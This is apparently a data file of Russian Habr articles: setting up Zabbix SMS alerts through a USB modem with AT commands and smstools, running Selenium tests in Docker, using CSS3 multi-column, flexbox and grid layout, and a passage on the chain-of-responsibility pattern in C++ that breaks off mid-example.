text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Настройка SMS уведомлений в zabbix
Вопрос SMS уведомлений в zabbix уже [освещался](http://habrahabr.ru/post/81630/) на Хабре и проблема решалась с использованием СМС-шлюзов. Также упоминали про [Отправку SMS c помощью Delphi](http://habrahabr.ru/post/133085/). Я же хочу рассказать, как настроить SMS уведомления используя USB модем.
Итак, что имеем:
1) довольно обширная ИТ-инфраструктура
2) система мониторинга Zabbix 2.0.3 (актуальная версия на момент написания статьи) функционирующая под Fedora 14 x64
3) 3G USB модем ZTE MF100 от национального украинского оператора Киевстар.
4) Prepaid симка, которая шла в комплекте с модемом.
Также для модема была куплена корпоративная 3G симка, но её использовать не получится, так как с 3G-карточек невозможно позвонить и отправлять смс, а это нам не подходит.Итак, положил на карточку небольшую сумму «для опытов», втыкнул модем в USB и .
#### Установка необходимого
Первым делом я зарегистрировал карточку в системе [Мой Киевстар](https://my.kyivstar.ua). Через неё удобно смотреть остаток денег на счёте модема и заказывать доп. услуги.Напомню, что я все действия провожу в Fedora. Для других линуксов комманды могут отличаться, но думаю выяснить, чем из заменить для вас не составит труда. Также не буду рассматривать вариант установки необходимого из исходников, хотя так тоже можно поступить. Ограничусь установкой существующих стандартных пакетов:
```
sudo yum install usb_modeswitch # для поддержки USB-модемов Huawei, T-Mobile, Vodafone, Option, ZTE, Novatel
sudo yum install minicom # для терминального подключения к модему по /dev/ttyUSB*
sudo yum install smstools # собстветвенно пакет для работы с смс.
```
Теперь проверим, появился ли модем
```
ls -l /dev/ttyUSB*
```
Результат должен выглядеть примерно так
```
crw-rw----. 1 root dialout 188, 0 Oct 22 12:05 /dev/ttyUSB0
crw-rw----. 1 root dialout 188, 1 Oct 22 15:56 /dev/ttyUSB1
crw-rw----. 1 root dialout 188, 2 Oct 22 12:05 /dev/ttyUSB2
```
Модем создал 3 виртуальных USB порта. В моем случае для AT команд доступны ttyUSB1 и ttyUSB2. Если модем создал 5 и более виртуальных портов, то их количество можно уменьшить до 3х. Для этого нужно отключить в нём режимы cdrom и flash-drive. Выключение делается коммандой **AT+ZCDRUN=E**, включение **AT+ZCDRUN=F**. Если хотим отключить только cd-rom, то **AT+ZCDRUN=8**. Если хотим включить обратно — **AT+ZCDRUN=9**.Запускаю терминал
```
minicom -D /dev/ttyUSB1
```
вижу приветствие
```
Welcome to minicom 2.5
OPTIONS: I18n
Compiled on Feb 24 2011, 11:25:55.
Port /dev/ttyUSB1
Press CTRL-A Z for help on special keys
AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
OK
```
выключаю CD-ROM
```
>AT+ZCDRUN=8
Close autorun state result(0:FAIL 1:SUCCESS):1
OK
```
Вообще AT команд довольно много и раньше, во времена телефонных модемов, из знание было обязательным для уважающего себя админа. Сейчас всё измениилось и вспомнить подзабытые комманды можно с помощью гугла. Например [вот](http://we.easyelectronics.ru/part/gsm-gprs-modul-sim900-chast-vtoraya.html) хорошая статья справочного характера.Попробуем пообщаться с модемом.Посмотрим режим работы модема
```
>AT+ZSNT?
+ZSNT: 1,0,0
OK
```
в моем случае — =1,0,0 — Автоматический выбор только GSM сети. Поскольку я использую обычную, а не 3G симку, этот режим меня полностью устраивает. Также существуют следующие варианты режима работы:
```
AT+ZSNT=0,0,0 (Авто) - по умолчанию
AT+ZSNT=0,0,1 Автоматический выбор сети: GSM+WCDMA, предпочтение GSM
AT+ZSNT=0,0,2 Автоматический выбор сети: GSM+WCDMA, предпочтение WCDMA
AT+ZSNT=1,0,0 Автоматический выбор сети: только GSM
AT+ZSNT=2,0,0 Автоматический выбор сети: только WCDMA
AT+ZSNT=0,1,0 Ручной выбор сети: GSM+WCDMA
AT+ZSNT=1,1,0 Ручной выбор сети: только GSM
AT+ZSNT=2,1,0 Ручной выбор сети: только WCDMA
```
Проверим, установлена ли защита пин-кодом
```
>AT+CPIN?
+CPIN: SIM PIN
OK
```
отключаем PIN
```
>AT+CLCK="SC",0,"1111"
```
включаем PIN
```
>AT+CLCK="SC",1,"1111"
```
Если она включена, то для продолжения работы нам необходимо его ввести
```
>AT+CPIN=”1234″
OK
```
проверим ещё раз
```
>AT+CPIN?
+CPIN: READY
OK
```
Теперь пин-код принят. Посмотрим уровень сигнала
```
>AT+CSQ
+CSQ: 21,99
OK
```
получим версию IMEI модуля
```
>AT+GSN
359518034903581
OK
```
Посмотрим тип регистрации в сети
```
>AT+CREG?
+CREG: 0,1
OK
```
0 означает, что нет сообщения о сменен регистрации в сети1 — успешно зарегистрирован в сетиПосмотрим информацию об операторе
```
>AT+COPS?
+COPS: 0,0,"Kyivstar",0
OK
```
Первый 0 означает автоматический выбор сети, длинный тестовый формат имени (второй 0), и само названия оператора — Киевстар.проверим, установлен ли у нас и какой именно центр отправки смс (Service Center Address)
```
AT+CSCA?
+CSCA: "+380672021111",145
OK
```
Для Киевстара это правильный номер.Теперь попробуем отправить сообщение. Перед отправкой сообщения нужно установить формат сообщения. Делается это коммандой **AT+CMGF=x**. где x — формат сообщений, 0-1.0, — режим PDU, управление кодом команды. Вывод сообщения в HEX коде. Режим по умолчанию1, — текстовый режим. Команды текстовые. Вывод сообщения в текстовом виде.В первый режиме сообщения будут выдаваться в виде шестнадцатеричных кодов ascii или unicode.Это очень неудобный режим.Отправка смс делается командой **AT+CMGS=«ХХХХХХХХХХХ»**, где ХХХХХХХХХХХ — номер абонента. Отправка смс зависит от формата сообщения. После ввода команды выдает приглашение ">" после чего можно вводить текст сообщений. Завершается символом ESC или Ctrl-Z. Отправим сообщение используя текстовый режим и предварительно насильно установив SCA:
```
AT+CMGF=1
OK
AT+CSCA= "+380672021111"
OK
AT+CMGS="+38067xxxxxxx"
> test message
>
+CMGS: 110
OK
```
Смс успешно пришла.Можно отправлять смс предварительно записав в память:
```
AT+CMGW="91234567"Sending text messages is easy.
AT+CMSS=3
```
При работе с AT командами не всегда всё проходит гладко. Иногда комманды выполняются с ошибками, возвращая трехзначный код ошибки. Вот список основных кодов ошибок:
```
Error code Meaning
0-127 GSM 04.11 Annex E-2 values
128-255 GSM 03.40 section 9.2.3.22 values
300 Phone failure
301 SMS service of phone reserved
302 Operation not allowed
303 Operation not supported
304 Invalid PDU mode parameter
305 Invalid text mode parameter
310 SIM not inserted
311 SIM PIN necessary
312 PH-SIM PIN necessary
313 SIM failure
314 SIM busy
315 SIM wrong
320 Memory failure
321 Invalid memory index
322 Memory full
330 SMSC (message service center) address unknown
331 No network service
332 Network timeout
500 Unknown error
512 Manufacturer specific
```
#### Настройка smstools
Теперь настраиваем SMS Tools. Правим конфиг /etc/smsd.comf. Привожу готовый конфиг с комментариями:
```
#используемые устройства, если несколько — пишем через запятую
devices = GSM1
#папки для сохранения смс
incoming=/var/spool/sms/incoming
outgoing=/var/spool/sms/outgoing
checked=/var/spool/sms/checked
sent=/var/spool/sms/sent
# лог, если не указан — пишется в syslog, если = 1, пишет в stdout
logfile = /var/log/smsd/smsd.log
#уровень логирования
loglevel = 5 #debug = 7
user = sms
#включаем "умный" лог
smart_logging = yes
#скрипт, выполяющийся перед отправкой смс для автоматической конвертации кириллических сообщений в "правильную" кодировку. о нём подробнее ниже
checkhandler = /etc/smsd/check.sh
#скрипт, выполняющийся после отправки смс и создающий лог отправленного. о нём подробнее ниже
eventhandler = /etc/smsd/trsms.sh
[GSM1]
#используемое устройство
device = /dev/ttyUSB1
#пин-код
pin = 1111
#SCA
smsc = 380672021111
```
Подробнее обо всех параметрах конфига можно прочитать на [официальном](http://smstools3.kekekasvi.com/index.php?p=configure) сайте smstool.
#### Скрипт trsms.sh
Теперь создаем скрипт /etc/smsd/trsms.sh, который будет писать лог отправленных смс. Причём все кириллические сообщения будут попадать в него в читаемой кодировке. Не забываем дать права на выполнение скрипта пользователю smstool и на запись в лог /var/log/smsd/sms.log
```
chown smstools:smstools /etc/smsd/trsms.sh
chmod gu+x /etc/smsd/trsms.sh
chmod gu+w /var/log/smsd/sms.log
```
Сам скрипт:
```
#!/bin/bash
status="$1"
file="$2"
touch /etc/smsd/ok
case "$1" in
SENT)
FILE=`mktemp /tmp/smsd_XXXXXX`
head -5 $file | grep -e "^To: " -e "Alphabet: " -e "^Sent: " >> /var/log/smsd/sms.log
if grep "Alphabet: Unicode" $file >/dev/null; then
tail -n +6 $file | iconv -f UCS-2BE -t UTF-8 >> /var/log/smsd/sms.log
else
tail -n +5 $file >> /var/log/smsd/sms.log
fi
echo >> /var/log/smsd/sms.log
echo "========================================" >> /var/log/smsd/sms.log
echo >> /var/log/smsd/sms.log
;;
esac
```
Пример части лога:
```
========================================
To: 38067XXXXXXX
Alphabet: Unicode
Sent: 12-10-23 21:07:29
test message
========================================
To: 38093XXXXXXX
Alphabet: Unicode
Sent: 12-10-19 12:16:28
лог пишет теперь и на русском
========================================
```
#### Скрипт check.sh
SMSTools умеет обрабатывать события при помощи внешних программ, Наш скрипт поможет отправлять русские смс в правильной кодировке проверяя сообщения перед отправкой (за прототип был взят unicode2sms из стандартного пакета скриптов, который можно найти в /usr/bin. Аналогично, не забываем дать права на выполнение скрипта пользователю smstool
```
chown smstools:smstools /etc/smsd/check.sh
chmod gu+x /etc/smsd/check.sh
```
Сам скрипт:
```
#!/bin/bash
# checkhandler for SMS Tools 3
# autoconverts cyrillic messages to UCS-2BE
# add checkhandler=/path/to/ucsautoconvert into global part of smsd.conf
# written by lexy (lexy@mrlexy.ru), 2008
FILE=`mktemp /tmp/smsd_XXXXXX`
if [ ! `grep '[А-Яа-я]' $1 > /dev/null` -o `grep 'Alphabet:\s*U' $1 > /dev/null` ]
then exit 0
fi
cat $1 | awk '{if(NF==0) {s=1} if(s==0 && NF>0 && $0!~/Alphabet:[ \t]*U/){print}}' > $FILE
echo Alphabet: Unicode >> $FILE
cat $1 | awk '{if(NF==0) {s=1} if(s==1){print}}' | iconv -t UCS-2BE >> $FILE
mv $FILE $1
chmod 664 $1
```
теперь всё готово к запуску.
```
>service smsd start
Starting smsd: [ OK ]
```
проверяем, запустился ли
```
> ps ax | grep smsd
1345 ? Ss 0:00 /usr/sbin/smsd
1347 ? S 0:00 /usr/sbin/smsd
2322 pts/2 S+ 0:00 grep --color=auto smsd
```
пробуем отправить сообщение. номер абонента указываем в международном формате, но без знака «+»
```
smssend "38067XXXXXXX" "test message"
--
Text: test message
To: 38067XXXXXXX
```
смотрим лог.
```
> tail /var/log/smsd/smsd.log
```
добавились строки
```
2012-10-23 21:07:08,5, GSM1: SMS sent, Message_id: 112, To: 38067XXXXXXX, sending time 7 sec.
2012-10-23 21:07:21,5, smsd: Moved file /var/spool/sms/outgoing/send_NpoTqX to /var/spool/sms/checked
```
проверяем отправленную смс:
```
>cat /var/spool/sms/sent/send_NpoTqX
To: 38067XXXXXXX
Alphabet: Unicode
Modem: GSM1
Sent: 12-10-23 21:07:29
IMSI: 255030837719869
test message
```
#### Настройка Zabbix
Напишем скрипт, который будет выполнять Zabbixдля отправи смски. В Zabbixтакие скрипты лежат в директории, определенной в переменной **AlertScriptsPath**.
```
cat /usr/local/etc/zabbix_server.conf | grep AlertScriptsPath
### Option: AlertScriptsPath
AlertScriptsPath=/home/zabbix/bin/
```
Сам скрипт называю **sms\_send.sh** и состоит он практически из одной строки:
```
#!/bin/bash
to=$1
subject="$2"
body="$3"
smssend $to "$subject"
```
Дальнейшая настройка осуществляется через веб-интерфейс. Сначала идем в Администрирование -> Способы оповещений (Administration Media types-> ) и создаем новый способ оповещений ( Media types). Название скрипта должно быть таким же, как и имя файла скрипта в директории AlertScriptsPath
Дальше в настройках пользователя (Администрирование -> Пользователи или Administration -> Users) добавляем Способ оповещений (Media):
После этого в настройках Действий (Actions) появится возможность использовать этот Media:
#### Тарифы
Стандартная цена одного СМС = 0,5 грн. Что при большом количестве смс может вылится в крупную копеечку. Что же предлагает оператор для уменьшения расходов?
**вариант первый — Prepaid**
Здесь варианта два:1. «Пакет 30 SMS» с абон.платой в 4 грн в неделю. Получается, что цена 1 смс =13,33 коп.
2. «Пакет 60 SMS» с абон.платой в 6 грн в неделю. Получается, что цена 1 смс =10 коп.
Цена хорошая. Но есть и минусы: * В обоих случаях неиспользованные в конце недели смс «сгорают».
* Нужно регулярно заходить в профиль на «Мой Киевстар» и дозаказывать услугу, а то можно в самый важный момент остаться без уведомления.
**вариант второй — контракт**
Здесь варианта три:1. «Пакет SMS -50%» с абон.платой в 3 грн в месяц. В пакет входит 500 смс со скидкой. Получается, что цена 1 смс =25 коп.
2. «Пакет SMS -70%» с абон.платой в 7 грн в месяц. В пакет входит 500 смс со скидкой. Получается, что цена 1 смс =15 коп.
3. «Пакет 1000 SMS» с абон.платой в 120 грн в месяц. В пакет входит 1000 бесплатных смс. Получается, что цена 1 смс =12 коп.
Получается дороже, чем в препейд-пакетах, но зато не нужно еженедельно активировать. Один раз сделал — и забыл.
К слову, цены получается конкурентоспособными. Например, интернет-сервис [smscentre.kiev.ua](http://smscentre.kiev.ua/) для нашей организации предложил цену в 15 коп. за одно смс при количестве смс в месяц 1-25000 без абон. платы и с бесплатной активацией пакета.Но при использовании модема мы получаем одно неоспоримое преимущество — независимость от интернета. Ведь интересуют не массовые смс-рассылки, а уведомления от Zabbix. И при использовании интернет-сервисов рассылки смс я рискую НЕ получить важную смс в случае, например, продолжительного выключения света в офисе или аварии у провайдера. Какой из пакетов выбирать — решать вам.
Подробнее о смс-пакетах можно узнать на: [для контракта](http://www.kyivstar.ua/ru/kh/business/mobile/tariffs/wholesale/sms_bundles/) и [для Prepaid](http://www.kyivstar.ua/ru/kh/mm/mobile/services/packages/sms_bundles/#prepaid)
#### Настройка PlaySMS
Установка этого приложения не обязательна. Приложение необходимо для массовой рассылки смс, которые складывает в mysql базу.Для работы необходимы пакеты httpd, mysql, php, php-pear, php-mysql, php-cli, phpmyadmin. Но эти все пакеты я и так установил для работы Zabbix. Создаём нового пользователя и дериктории для PlaySMS. Скачиваем последнюю версию PlaySMS и создаём базу в mysql:
```
adduser playsms
mkdir -p /var/www/playsms
mkdir -p /var/spool/playsms
mkdir -p /var/log/playsms
chown -R apache /var/www/playsms
chown -R apache /var/spool/playsms
chown -R apache /var/log/playsms
chmod -a -G smstools playsms
wget http://downloads.sourceforge.net/project/playsms/playsms/Version%200.9.7.1/playsms-0.9.7.1.tar.gz
tar -zxvf playsms-0.9.7.1.tar.gz -C /usr/local/src
cd /usr/local/src/playsms-0.9.7.1/web/
cp -rR * /var/www/playsms
cp playsmsd* sendsmsd* /usr/local/bin/
chown -R apache /var/www/playsms
mysqladmin -u root -p create playsms
```
Импортируем в созданную базу:
```
mysql -u root -p playsms < /usr/local/src/playsms-0.9.7.1/db/playsms.sql
```
Копируем конфиг, предварительно отредактировав в нем пароль пароль для подключения к базе (и логин, если у вас не root)
```
cp /var/www/playsms/config-dist.php /var/www/playsms/config.php
vi /var/www/playsms/config.php
$core_config['db']['pass'] = 'ваш пароль'; // database password
```
Настраиваем автоматический запуск программы:
```
cd /usr/local/src/playsms-0.9.7.1/bin
cp playsmsd playsmsd.php playsmsd_start /usr/local/bin/
cp playsms /etc/default/
```
В /etc/rc.d/rc.local добавлеям строчку — /usr/local/bin/playsmsd\_start. Панель управления PlaySMS доступна по htpp://ip.адресс.вашего.сервера/playsms. Вход admin \ admin.
Проверяем, что в /etc/default/playsms указан правильный путь
```
PLAYSMS_PATH=/var/www/html/playsms
```
#### Полезные ссылки
Ссылки, которые натолкнут вас на мысли по дальнейшему совершенствованию идеи отправки СМС:
[Статья со скриптом-шлюзом E-mail->SMS](http://linuxshare.ru/docs/admin/smstools.html)
[Подробный мануал по AT-командам и отправке СМС](http://www.developershome.com/sms/)
[Описание различных AT-команд](http://we.easyelectronics.ru/part/gsm-gprs-modul-sim900-chast-vtoraya.html)
[Переадресация SMS с помощью SMSTools](http://theapplegeek.ru/blog/2011/04/05/pereadresaciya-sms-mezhdu-dvumya-operatorami-s-pomoshhyu-smstools/)
[Описание заголовков файла смс-сообщений](http://www.lissyara.su/articles/freebsd/programms/smstools_3/)
**UPD:** для просмотра остатка средств на счету и количества акционных смс необходимо установить пакет gsm-ussd. ФОрмат команды и результат следующий:
```
>gsm-ussd -m /dev/ttyUSB2 '*115#'
Bonusy 55.0 SMS na nomery po Ukraini (dijsni do 2012-11-06 23:59:59). Zamovlennia Paketu SMS za tel. 477*030*
>gsm-ussd -m /dev/ttyUSB2 '*111#'
Na rahunku: 17.14 grn. Nomer die do 24-10-2013. Bonusy: 0 grn (dijsni do 14-10-2022); 104810496 bytes
``` | https://habr.com/ru/post/155321/ | null | ru | null |
# Инструкция по Selenium Docker
В этой статье мы расскажем о том, как запускать Selenium-тесты в Docker и выполнять их в браузерах Chrome и Firefox. И мы, вероятно, также поймем, зачем запускать Selenium-тесты в Docker.
### Предварительные условия
Есть несколько предварительных условий, о которых вы должны знать, прежде чем мы начнем.
**Базовое знакомство с Docker**: вы должны, по крайней мере, иметь высокоуровневое понимание концепций Docker.
**Установленный Docker:** у вас также должен быть [установлен](https://www.docker.com/products/docker-desktop) docker на вашем устройстве.
**Базовый скрипт Selenium:** вам также понадобится пример скрипта, который вы можете выполнить для запуска ваших тестов. Вы также можете [использовать](https://github.com/automationbro/selenium-docker/tree/selenium-docker-basic) пример скрипта, который я создал на JavaScript.
### Почему мы должны запускать Selenium-тесты в Docker?
Прежде чем запускать наши тесты в Docker, важно понять, какие проблемы может решить для нас Docker.
#### Проблемы с созданием сессии
Если вы запускали свои тесты без Docker, то, возможно, уже сталкивались с подобной ошибкой - `session not created: This version of ChromeDriver only supports Chrome version 89`
Эта ошибка возникает, когда версия драйвера ChromeDriver и версия локального браузера не совпадают. В моем случае версия браузера была v91, а версия ChromeDriver - v89. Теперь у меня есть 2 варианта развития событий -
* если мне нужно запустить тесты в последней версии, то мне нужно обновить ChromeDriver до v91;
* если мне нужно проводить тесты в более старой версии, то мне нужно обновить браузер Chrome до версии v89.
Это становится довольно распространенной проблемой при каждом несовпадении версий. Поэтому для решения этой проблемы мы можем использовать образы Docker, которые поставляются с определенным драйвером ChromeDriver, а также с установленным браузером, которые совместимы друг с другом. Несмотря на то, какая версия установлена на вашем локальном устройстве, вы можете продолжать выполнение тестов в Docker.
### Поддержка нескольких версий
Еще одним преимуществом Docker является возможность установки нескольких версий Chrome, которые мы можем использовать для выполнения наших тестов. Например, у меня может быть Chrome v91, работающий на порту 4444, а также Chrome v81, работающий на порту 4446, и тесты будут выполняться на обоих.
Docker предоставляет вам гораздо больше гибкости в плане выбора различных браузеров, а также выбора версий браузеров без необходимости беспокоиться о какой-либо инфраструктурной настройке.
### Локальный запуск образа Selenium Standalone Chrome Docker
Команда Selenium предоставила нам несколько образов, которые мы можем использовать для запуска наших тестов. В данном руководстве мы будем использовать следующий образ `selenium/standalone-chrome`
Выполните следующую команду в терминале, чтобы запустить образ - `docker run -d -p 4444:4444 --shm-size=2g selenium/standalone-chrome:3.141.59-20210607`
Давайте рассмотрим эту команду подробнее.
* флаг -d используется для запуска контейнера docker в отсоединенном режиме;
* -p используется для передачи порта, первый порт 4444: - это порт локальной машины, а второй :4444 - это порт внутри контейнера docker - --shm-size=2g - это очень важный флаг, который нужно использовать, чтобы контейнер docker мог использовать память хоста selenium/standalone-chrome:3.141.59-20210607 - это тег образа, который мы используем.
Когда вы выполните эту команду, она извлечет указанный вами образ и запустит контейнер. Вы увидите, что контейнер запущен, выполнив команду `docker ps`
Далее вы увидите Selenium Standalone, запущенный на <http://localhost:4444/>.
### Запуск тестов Selenium на Docker
Теперь, когда мы разобрались с частью Docker, пришло время задать нашим тестам порт 4444. Эта часть зависит от фреймворка/языка, который вы используете в скрипте Selenium. В моем случае мне пришлось сделать следующее обновление, чтобы указать моим тестам порт 4444.
Давайте теперь запустим тесты за счет `node test.js` . Затем переходим в <http://localhost:4444/wd/hub/static/resource/hub.html> и увидим, что будет создан сеанс Chrome, запущенный внутри вашего контейнера Docker.
После завершения выполнения тестов сессия chrome будет автоматически удалена.
### Запуск тестов Selenium в Firefox внутри контейнера Docker
Запуск тестов в Firefox почти такой же, как и в Chrome, вам просто нужно будет запустить новый образ, и вы можете указать другой порт (необязательно) локально, чтобы он не конфликтовал с существующим запущенным портом.
```
docker run -d -p 4445:4444 --shm-size 2g selenium/standalone-firefox:3.141.59-20210607
```
**Примечание:** порт внутри докер-контейнера может оставаться прежним, поскольку он не связан с вашим докер-образом Chrome.
Вам также нужно будет внести изменения в свой код, чтобы направить тесты на Firefox и на новый порт.
### Заключение
Мы использовали образы Selenium Standalone Docker для выполнения наших тестов внутри контейнеров Docker и запустили их в Firefox и Chrome. Мы также узнали, почему мы должны запускать наши тесты внутри контейнера Docker и какие преимущества мы получаем от этого.
В следующем уроке я покажу вам, как использовать VNC для просмотра тестов, запущенных внутри контейнера Docker.
*Перевод материала подготовлен в рамках курса "Java QA Engineer. Professional". Всех заинтересованных приглашаем на* [***открытый урок***](https://otus.pw/5Y9t/)*, на котором познакомимся с фреймворком Selenide, узнаем, какие проблемы он решает и напишем простой тест с его использованием.* | https://habr.com/ru/post/650477/ | null | ru | null |
# Новое в CSS3: многоколоночность, flexbox, сеточная разметка
Веб развивается, появляются все новые возможности разметки страниц для верстальщиков, в том числе в этом помогают новые свойства в CSS. В этой статье я описал некоторые из них: многоколоночность, flexbox и сеточная разметка.
Поддержку новых функций браузерами можно проверить на сайте [caniuse.com](http://caniuse.com):
### Multi-column
При помощи multi-column можно легко разбивать текст на несколько колонок без использования костылей в виде позиционирования и float'ов. Можно указывать ширину каждой колонки, их количество будет ограничиваться только шириной браузера:
```
#mcexample {
column-width: 13em;
}
```
Можно указывать количество колонок:
```
#mcexample {
column-count: 3;
}
```
Меняем стиль колонок:
```
#mcexample {
columns: auto 13em; /* column-count,
column-width */
column-gap: 1em;
column-rule: 1em solid black; /* width, style, color */
}
```
По сути главная и самая ожидаемая функция этого свойства — это возможность перетекания текста из одной колонки в другую. Непонятно только, почему оно не появилось намного раньше.
### Flexbox
Flexbox позволяет удобно управлять дочерними и родительскими элементами на странице, располагая их в необходимом порядке. Официальная спецификация находится здесь: [CSS Flexible Box Layout Module](http://www.w3.org/TR/css3-flexbox/)
На [tutplus.com](http://net.tutsplus.com/tutorials/html-css-techniques/an-introduction-to-css-flexbox/) есть простые наглядные примеры применения flexbox. Можно располагать дочерние блоки с нужным выравниванием, горизонтальным:
или вертикальным:
Растягивать на всю ширину:
И многое другое. Вызов flexbox очень прост:
```
* An item
* Another item
* The last item
```
```
ul {
/* Old Syntax */
display: -webkit-box;
/* New Syntax */
display: -webkit-flexbox;
}
```
### Сеточная разметка
Спецификация — [CSS Grid Layout](http://www.w3.org/TR/css3-grid-layout/) — представлена Microsoft в апреле этого года, поэтому разметка работает пока [только в Internet Explorer 10](http://caniuse.com/#feat=css-grid). Но учитывая фундаментальность проделанной работы, поддержка функционала другими браузерами — это вопрос времени.
Сеточная разметка позволяет размещать контент отдельно от лэйаута, используя строки и колонки. Для начала необходимо объявить сетку:
```
#gridexample {
display: -ms-grid;
-ms-grid-rows: 30px 5em auto;
-ms-grid-columns: auto 70px 2fr 1fr;
}
```
Расшифровка:
* Первая строка — 30 px в высоту
* Вторая строка — 5 em в высоту
* Размер третьей строки будет зависить от количества контента
* Размер первой колонки будет зависить от количества контента
* Вторая колонка — 70 px в ширину
* Третья и четвертая колонки займут 2/3 и 1/3 ширины соответсвенно
Добавляем элемент в первую строку второй колонки:
```
#griditem1 {
-ms-grid-row: 1;
-ms-grid-column: 2;
}
```
Можно растянуть элемент на всю ширину с помощью **grid-row-span**:
```
#griditem1 {
-ms-grid-row: 1;
-ms-grid-column: 2;
-ms-grid-row-span: 2;
}
```
Или добавить выравнивание с помощью **grid-row-align** или **grid-column-align**:
```
#griditem1 {
-ms-grid-row: 1;
-ms-grid-column: 2;
-ms-grid-column-align: center;
}
```
Пример использования Многоколоночности, flexbox и сеточной разметки можно посмотреть [на сайте Griddle от Microsoft](http://ie.microsoft.com/testdrive/html5/griddle/default.html).
### Материалы по теме
* [An Introduction to the CSS Flexbox Module](http://net.tutsplus.com/tutorials/html-css-techniques/an-introduction-to-css-flexbox/), автор Umar Hansa
* [Master the new CSS layout properties](http://www.netmagazine.com/tutorials/master-new-css-layout-properties), автор Thomas Lewis
* [Quick hits with the flexible box model](http://www.html5rocks.com/en/tutorials/flexbox/quick/), автор Paul Irish
* Презентация [IE 10 Platform Preview 1: The Future of Adaptive Web Design](http://channel9.msdn.com/events/MIX/MIX11/HTM11), автор Markus Mielke | https://habr.com/ru/post/153925/ | null | ru | null |
# Паттерны по-моему: chain of responsibility и command
В этой статье описываются два паттерна проектирования из широко известной книги «Банда Четырёх» на примере конкретного кода. Паттерны описаны в множестве мест, поэтому если вы уже разбираетесь в проблеме, мои объяснения будут вам очевидны и не нужны. Мои тексты — для тех, кто отчаялся разобраться в проблеме, или вроде бы разобрался, но интуитивно ощущает дискомфорт, будто что-то не то и не так понял. Я попробую объяснить понятно. Студенты утверждают (причём уже после сдачи экзамена, поэтому у меня есть основания такое мнение считать непредвзятым и неангажированным), что получается понятно.
Вся вторая половина курса ООП из -надцати лекций (я не помню, сколько их точно, а студенты стесняются напомнить, поэтому вынуждены посещать все, пока у меня ~~терпение~~ паттерны не кончатся) посвящена паттернам проектирования. Да, всего лишь несколько недель назад они узнали, чем отличаются виртуальные функции от невиртуальных, а тут — паттерны. Что делать, это ~~рабочая программа дисциплины~~ жизнь. Я очень люблю книжку GoF, у меня есть свой засаленный и зачитанный до дыр экземпляр, с которым под подушкой я когда-то давно засыпал, но учить студентов по нему не получается, я пробовал. Поэтому мы не читаем книги и не учим теорию, мы изучаем простые примеры программ, и разбираемся, что за проблема в коде решается, и как именно она решается.
В курсе ООП я стараюсь не привязываться по возможности к конкретным языкам, а вместо этого изучать идеи, которые первичны. Я сам не знаю ни плюсов, ни шарпа, почти не умею на них программировать, поэтому приведённые примеры нельзя рассматривать как правильный мануал по разработке на плюсах или шарпе или как корректные примеры использования этих языков. Более того, я стараюсь писать на любом языке максимально примитивно, максимально общеупотребительно, чтобы код был переносим на как можно большее количество языков.
Итак, поехали. Просто читаем и разбираемся, функция за функцией, класс за классом.
### Chain of responsibility — Цепочка ответственности
**почему плюсы**
Потому что если не я в начале второго курса, то никто у студентов не проверит, что они понимают, что такое указатель. А я не хочу выпускать студентов, которые не знают, что такое указатель. Они могут потом всю жизнь свою программистскую не работать с указателями и памятью, но программист, который не способен врубиться и понять косвенную адресацию и вообще indirection — это в моём понимании не программист. По той же самой причине здесь же, в курсе ООП приходится требовать git, иначе некогда.
```
#include
#include
using namespace std;
class Handler
{
public:
virtual bool handle(int request) = 0;
virtual ~Handler() {};
};
```
Вы что-нибудь поняли? Класс называется «обработчик», мы видим в нём одну единственную виртуальную функцию без реализации с названием «обработать», с единственным параметром с названием «запрос», поэтому похоже, что функция будет принимать и обрабатывать число, и возвращать логический true или false. Раз эта функция абстрактная, мы можем догадаться, что она создана только для того, чтобы перекрывать её в классах-потомках. Пожалуй, больше из этого кода пока не выжать.
```
class DivisionChecker : public Handler
{
private:
int value;
Handler *next;
public:
DivisionChecker(int _value, Handler *_next)
{
value = _value;
next = _next;
}
bool handle(int request) override
{
if (request % value == 0)
return true;
else
return next->handle(request);
}
~DivisionChecker() override
{
if (next != nullptr)
delete next;
}
};
```
Что мы видим здесь? Класс DivisionChecker, потомок класса Handler, видимо, какой-то реальный обработчик. Мы видим у него в полях какое-то числовое value и какой-то указатель next на другой объект Handler. Но раз класс Handler абстрактный, то next будет хранить указатель на объекты-потомки класса Handler, вполне возможно и другие объекты класса DivisionChecker.
Конструктор DivisionChecker просто инициализирует значениях своих полей, тут ничего интересного, а дальше мы видим перекрывается абстрактная функция handle.
Что же DivisionChecker делает, если его просят «обработать» какое то число, передав его в качестве параметра request? Мы видим, что он проверяет, делится ли request нацело на то число, которое он сам хранит в value, и если делится, то сразу возвращает true. А если не делится, то он вызывает функцию handle у другого обработчика next, ссылку на которого хранит. Возвращает сам то, что этот другой обработчик вернёт. Переводит стрелки, короче. Делегирует работу. Перенаправляет задание. Настоящий менеджер! А кто же крайним останется?
```
class DefaultHandler : public Handler
{
bool handle(int request) override
{
printf("%d is prime\n", request);
return false;
}
};
```
Вот он, наш обычный работяга, DefaultHandler, ещё один потомок класса Handler. У него нет никакой своей property, только унаследованный и перекрытый метод handle. Если у него этот метод вызывают, он сообщает, что переданное ему число является простым и возвращает false.
Теперь давайте посмотрим на основную программу. Что мы видим?
```
void main()
{
Handler *queue = new DefaultHandler;
for (int i = 2; i < 100; i++)
if (queue->handle(i) == false)
queue = new DivisionChecker(i, queue);
delete queue;
system("pause");
}
```
В ней сначала создаётся переменная-указатель queue, потом создаётся объект класса DefaultHandler и адрес его складывается в queue. Короче говоря, queue указывает на объект DefaultHandler, как-то так:
Потом начинает работать цикл, переменная i получает значение 2, и у объекта queue вызывается метод handle с параметром 2. Чей метод вызывается? Правильно, метод класса DefaultHandler. Что он делает? Сообщает, что число 2 простое, и возвращает false. У нас как раз в цикле стоит проверка, и если возвращено false, то создаётся новый объект, но уже класса DivisionChecker. Этому объекту в конструктор передаётся число 2 и адрес того объекта, куда сейчас указывает переменная queue, то есть адрес старого DefaultHandler. Адрес полученного объекта заносится обратно в переменную queue. В результате этих манипуляций получаем следующее:
